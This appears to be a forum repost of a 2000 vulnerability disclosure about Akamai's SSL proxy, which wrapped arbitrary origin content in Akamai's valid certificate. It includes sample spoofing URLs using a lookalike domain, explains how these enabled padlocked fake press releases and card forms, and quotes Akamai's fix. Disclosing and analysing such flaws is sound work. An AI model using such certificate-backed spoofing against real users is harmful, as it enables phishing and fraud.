https://a248.e.akamai.net/v/248/1777/365d/WWW.AKAMAITECHN0L0GIES.NET/q4.html
Note the '0' (zero) characters in the word "technologies". Another possibility might be:
https://a248.e.akamai.net/v/248/1777/365d/akamaiinvestorrelations.com/q4.html
Such a URL would enable authentic-looking pages for things like faking press releases, fake credit card fill-out forms, etc. One could easily spoof a fake press release as was done against Emulex (see: http://www.thestreet.com/_yahoo/comment/wrong/1055303.html). The difference is that victims will now have the pad lock icon at the bottom of their browser. Even security-conscious users might mistakenly trust the Web page as authentic. In particular, a Netscape Navigator user who clicks on the pad lock and selects "View Certificate" will see that a valid Verisign certificate issued to Akamai Technologies signed the page.
In the general case, Akamai hosts would always proxy SSL connections. There was one exception. Akamai hosts reported "HTTP/1.0 503 Service Unavailable" when an origin server had an expired SSL certificate.
Solution: Although Akamai did not discuss details of their solution, they appear to have implemented some kind of access control. That is, origin servers must be explicitly granted access. Akamai is not limiting HTTP origin servers, however.
With permission to redistribute publicly, Andy Ellis from Akamai says:
"Pursuant to our conversation on September 18th, Akamai has recently changed its policies and business practices with respect to instant Akamazaition. Effective October 18th, 2000, Akamai will limit the use of its FreeFlow(SM) SSL service to authorized users (primarily customers and potential customers). Akamai will no longer allow Akamaized SSL service to entities that Akamai has not identified as an authorized user of the Akamai SSL service."
What can be learned from this vulnerability: This problem is not unique to Akamai or Verisign. There are probably many other sites which unintentionally proxy SSL in this manner. Akamai just happens to be a very large instance. Any SSL Web server that transparently proxies arbitrary SSL connections by re-wrapping requests is vulnerable.
The crux of the problem is that SSL proxying in this manner defeats end-to-end security. Browsers traditionally make all authentication decisions. Because the Akamai hosts re-wrapped unauthentic, arbitrary content with an authentic Verisign certificate, the browser was unable to determine authenticity.
Open questions and issues: * Could Verisign issue certificates for Akamai servers that use the Key Usage Extension or Certificate Policy Extension to explicitly note that the certificate is provided solely for use in a proxy-server role in which arbitrary untrusted data is intentionally signed using this certificate?
Users should not assume that data signed by a site's certificate is necessarily data being provided by the operator of that site. They should instead consult other information provided by the site operator to determine whether the digital signature is intended to convey some specific meaning, or no meaning at all.
|
 |
Report bad post
Reply
|
|
 |
 |
|
|
|
|
|
|
| | | | |